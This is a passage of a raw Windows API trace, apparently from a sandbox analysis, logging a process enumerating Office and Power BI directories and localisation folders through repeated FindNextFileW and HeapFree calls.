ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANS", cAlternateFileName="")) returned 1 [0074.349] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.349] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 1 [0074.351] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.351] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 0 [0074.352] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0074.352] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0074.352] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 0 [0074.353] FindClose (in: hFindFile=0x582f08 | out: hFindFile=0x582f08) returned 1 [0074.353] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8ba88 | out: hHeap=0x490000) returned 1 [0074.356] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3688, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1 [0074.359] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0074.359] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Power View Excel Add-in", cAlternateFileName="POWERV~1")) returned 1 [0074.751] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.751] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0074.753] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.753] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="BI-Report.png", cAlternateFileName="BI-REP~1.PNG")) returned 1 [0074.756] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.756] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0074.758] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.758] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0074.761] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.761] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0074.763] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.763] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0074.766] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.766] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0074.768] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.768] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0074.771] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.771] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0074.784] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.784] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0074.787] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.787] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0074.790] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.790] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0074.792] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.792] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0074.795] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0074.795] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0075.202] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.202] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0075.204] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.204] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0075.205] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.205] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0075.207] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.207] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0075.209] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.209] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0075.211] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.211] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0075.212] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.212] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0075.214] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.214] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0075.215] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.215] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0075.217] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.217] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15f460, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0075.219] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.219] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0075.220] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.221] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0075.222] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.222] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0075.224] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.224] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1 [0075.225] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.225] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0075.289] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.289] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0075.293] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.293] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0075.296] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.296] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0075.299] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.299] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0075.303] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.303] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-cyrl", cAlternateFileName="")) returned 1 [0075.308] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0075.308] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: 